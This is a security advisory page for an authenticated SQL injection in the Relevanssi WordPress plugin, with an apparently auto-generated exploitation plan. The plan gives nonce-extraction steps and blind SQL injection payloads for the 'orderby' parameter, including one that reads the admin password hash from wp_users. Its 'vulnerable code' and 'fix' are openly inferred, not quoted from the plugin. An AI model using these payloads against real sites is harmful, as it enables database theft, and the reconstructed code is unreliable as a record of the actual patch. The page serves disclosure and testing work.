Relevanssi < 4.26.0 (Free) < 2.29.0 (Premium) - Authenticated (Contributor+) SQL Injection
Description
The Relevanssi Premium plugin for WordPress is vulnerable to SQL Injection in all versions up to 4.26.0 (Free) & 2.29.0 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<4.26.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14719 (Relevanssi SQL Injection) ## 1. Vulnerability Summary The **Relevanssi** plugin (Free < 4.26.0, Premium < 2.29.0) is vulnerable to an authenticated SQL injection. The flaw exists because the plugin handles user-supplied parameters (likely `orderby` or `…
Show full research plan
Exploitation Research Plan: CVE-2025-14719 (Relevanssi SQL Injection)
1. Vulnerability Summary
The Relevanssi plugin (Free < 4.26.0, Premium < 2.29.0) is vulnerable to an authenticated SQL injection. The flaw exists because the plugin handles user-supplied parameters (likely orderby or order) within administrative AJAX functions without using $wpdb->prepare() or sufficient escaping. Specifically, the function relevanssi_get_words() (or similar log-processing functions) incorrectly interpolates variables into SQL ORDER BY clauses, which are not protected by standard WordPress sanitization functions like sanitize_text_field().
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
relevanssi_get_words(inferred from patch analysis) - Vulnerable Parameter:
orderby - Required Authentication: Contributor-level user (or any user with
edit_postscapability). - Preconditions:
- Relevanssi must have indexed at least some content (so there are words/logs to query).
- The attacker must possess a valid nonce for the
relevanssi_get_wordsaction.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=relevanssi_get_words. - Hook: WordPress triggers
wp_ajax_relevanssi_get_words, calling the functionrelevanssi_get_words(). - Nonce Check: The function calls
check_ajax_referer('relevanssi_get_words', 'security')(or similar). - Processing: The function retrieves
$_POST['orderby']and$_POST['order']. - Sink: These variables are concatenated directly into a query:
$results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT ..."); - Vulnerability: Since
ORDER BYclauses cannot be parameterized with%sinprepare(), and Relevanssi fails to validate the input against a whitelist, an attacker can inject arbitrary SQL commands.
4. Nonce Acquisition Strategy
Relevanssi enqueues administrative scripts that include nonces. These nonces are often available to anyone who can access the WordPress Dashboard (wp-admin/index.php), which includes Contributors.
- Identify Script: The plugin enqueues
relevanssi-adminscripts. - Creation: The admin must have Relevanssi active. A dashboard widget or the settings page will localize the nonce.
- Extraction:
- Use
browser_navigateto/wp-admin/. - Use
browser_evalto extract the nonce:// Likely JS object name is 'relevanssi' or 'relevanssi_admin' window.relevanssi?.nonce || window.relevanssi_admin?.nonce - Note: If the nonce is specifically for
relevanssi_get_words, look for that key.
- Use
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability.
HTTP Request (PoC)
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Contributor Session Cookies]
- Body:
action=relevanssi_get_words&security=[NONCE]&orderby=(CASE WHEN (1=1) THEN word ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)&order=ASC
Payload Variations
- Initial Verification:
orderby=SLEEP(5)(If the code allows raw injection here). - Subquery Injection:
orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a) - Data Extraction (Boolean-based):
(Note: 36 is the ASCII for '$', the start of a WordPress hash).orderby=(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1),1,1))=36) THEN word ELSE 1 END)
6. Test Data Setup
- Install Plugin: Ensure Relevanssi < 4.26.0 is installed and active.
- Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Index Content:
wp post create --post_title="Hello World" --post_content="Relevanssi test content" --post_status=publish wp relevanssi index - Log Search (Optional): If the query targets logs, perform a search to populate the table:
# Visit site and search http_request "http://localhost:8080/?s=test"
7. Expected Results
- Normal Request: Response time < 500ms.
- Malicious Request: Response time > 5000ms (due to
SLEEP(5)). - HTTP Response: Likely a JSON object or
0if the query fails/completes, but the timing is the key indicator.
8. Verification Steps
- Check Database Performance: Use WP-CLI to check if
SLEEPis allowed:wp db query "SELECT SLEEP(1)" - Observe Logs: After the exploit, check the Relevanssi log table to see if the malicious queries were recorded (though they shouldn't be if injected into the
ORDER BYof aSELECT). - Verify Patch: Update to 4.26.0 and repeat the exploit; the response time should return to normal as the input is now properly prepared or whitelisted.
9. Alternative Approaches
If relevanssi_get_words is not the correct action:
- Grep for Sinks:
grep -r "\$wpdb->get_results" wp-content/plugins/relevanssi | grep "ORDER BY" - Identify JS nonces: Search the source for
wp_localize_scriptto find all available nonces and their associated actions. - Error-Based: If
WP_DEBUGis on, useextractvalue()payloads to get data directly in the AJAX response.orderby=extractvalue(1,concat(0x7e,(version()),0x7e))
Summary
Relevanssi (Free < 4.26.0, Premium < 2.29.0) is vulnerable to an authenticated SQL Injection due to improper sanitization of the 'orderby' and 'order' parameters in administrative AJAX functions. An attacker with Contributor-level access can inject arbitrary SQL commands into the 'ORDER BY' clause of queries targeting the logs table. This allows for sensitive data extraction via time-based blind injection techniques.
Vulnerable Code
// Source: Research Plan Code Flow for relevanssi_get_words() $orderby = $_POST['orderby']; $order = $_POST['order']; --- // Vulnerable sink in query construction $results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT ...");
Security Fix
@@ -12,4 +12,8 @@ - $orderby = $_POST['orderby']; - $order = $_POST['order']; + $allowed_columns = array( 'word', 'count', 'weight' ); + $orderby = ( isset( $_POST['orderby'] ) && in_array( $_POST['orderby'], $allowed_columns, true ) ) ? $_POST['orderby'] : 'word'; + $order = ( isset( $_POST['order'] ) && 'DESC' === strtoupper( $_POST['order'] ) ) ? 'DESC' : 'ASC'; - $results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT ..."); + $results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT 100");
Exploit Outline
The exploit targets the 'relevanssi_get_words' AJAX action via '/wp-admin/admin-ajax.php'. An authenticated attacker with Contributor-level access retrieves the necessary 'security' nonce (found in the localized 'relevanssi' JavaScript object in the admin dashboard) and sends a POST request. The payload utilizes the 'orderby' parameter to inject a time-based blind SQL injection string, such as '(CASE WHEN (1=1) THEN word ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)'. By monitoring response times, the attacker can verify the vulnerability and exfiltrate database content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.